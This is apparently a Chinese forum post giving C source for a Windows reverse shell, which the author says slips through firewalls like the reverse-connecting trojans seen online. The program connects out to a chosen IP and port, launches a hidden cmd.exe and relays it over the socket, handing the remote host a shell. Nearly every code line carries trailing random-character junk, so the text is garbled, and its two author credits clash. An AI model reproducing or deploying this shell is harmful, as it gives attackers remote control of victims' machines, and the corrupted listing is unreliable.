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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6N:fq  
M2[;b+W9  
/* ============================== wvcG <sj  
Rebound port in Windows NT ; @-7'%(C  
By wind,2006/7 2ME3=C  
===============================*/ #)hM]=,e  
#include |JSj<~1ki  
#include L/"XIMI*Xg  
;a XcGa  
#pragma comment(lib,"wsock32.lib") 9Rzu0:r.,  
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void OutputShell(); tV9nC   
SOCKET sClient; SI*O#K=w  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <E|i3\[p  
:o&qJ%  
void main(int argc,char **argv) uYhm Fp  
{ {XC# -3O  
WSADATA stWsaData; SQ]&nDd  
int nRet; vR3'B3y  
SOCKADDR_IN stSaiClient,stSaiServer; votv rZ=  
.4^Ep\\  
if(argc != 3) cc*A/lD  
{ %/CCh;N#  
printf("Useage:\n\rRebound DestIP DestPort\n"); 't{~#0d=  
return; 1xar L))  
} >jME == U0  
ux& WN ,  
WSAStartup(MAKEWORD(2,2),&stWsaData); vp 1IYW  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EQ-r  
*@S:f"i  
stSaiClient.sin_family = AF_INET; "e0$/WQ6J  
stSaiClient.sin_port = htons(0); OySIp[{tJ  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Qn ME|j\  
/=*h\8c~  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) t)=u}t$  
{ H? Z5ex  
printf("Bind Socket Failed!\n"); 6FiI\  
return; &{]zL  
} #pErGz'{  
`6)GjZh^  
stSaiServer.sin_family = AF_INET; 0+}42g|_Z  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Cz-eiPlq  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); x?9rT 0D  
<3m_} =\  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) M^AwOR7<  
{ 3E$M{l  
printf("Connect Error!"); %(MaH  
return; 6.ASLH3#  
} casva;  
OutputShell(); P B_ +:S^8  
} B<u6Z!Pp2  
*8M 0h9S$  
void OutputShell() <kN4@bd;  
{ / Of*II&  
char szBuff[1024]; J70#pF  
SECURITY_ATTRIBUTES stSecurityAttributes; (, /`*GC  
OSVERSIONINFO stOsversionInfo; CH[U.LJQ-O  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; )q 8w+'z  
STARTUPINFO stStartupInfo; s {p-cV  
char *szShell; pwtB{6)VH{  
PROCESS_INFORMATION stProcessInformation; epI&R)]   
unsigned long lBytesRead; @e8b'w3  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3} @3pVS  
c>#T\AEkF  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); jNhiY  
stSecurityAttributes.lpSecurityDescriptor = 0; h.d-a/  
stSecurityAttributes.bInheritHandle = TRUE; y3 {'s>O6  
r: ]t9y>$<  
HT0VdvLw  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); thy)J.<J  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); sG[v vm  
T2<?4^xN  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {VtmQU? cJ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cVYDO*N2T  
stStartupInfo.wShowWindow = SW_HIDE; B +[ri&6X\  
stStartupInfo.hStdInput = hReadPipe; M!Q27wT8 O  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; F6 ?4&h?n  
<E/4/ ANN  
GetVersionEx(&stOsversionInfo); s!(O7Ub  
?f f!(U  
switch(stOsversionInfo.dwPlatformId) 4r&DW'  
{ e&sZ]{uD  
case 1: :,Z'/e0&  
szShell = "command.com"; >-J%=P  
break; XVr>\T4  
default: QVLv}w`O  
szShell = "cmd.exe"; z*n  
break; Yef=HSzo  
} (8T36pt~  
`Sgj!/! F  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3D32'KO_"  
NbgK# ;  
send(sClient,szMsg,77,0); zGzeu)d  
while(1) N^</:R  
{ 5x856RQ'  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nwuH:6~"  
if(lBytesRead) eB%hP9=:x  
{ XrP'FLY o  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); B_R J;.oH  
send(sClient,szBuff,lBytesRead,0); p}H:t24Cr5  
} $WmB__  
else ^/@Z4(E  
{ {9?++G"\  
lBytesRead=recv(sClient,szBuff,1024,0); :5|'C  
if(lBytesRead<=0) break; R9XISsM^  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); eajctkzj  
} r9MS,KG8  
} do,ZCn  
H4RqOI  
return; qLC_p)  
}
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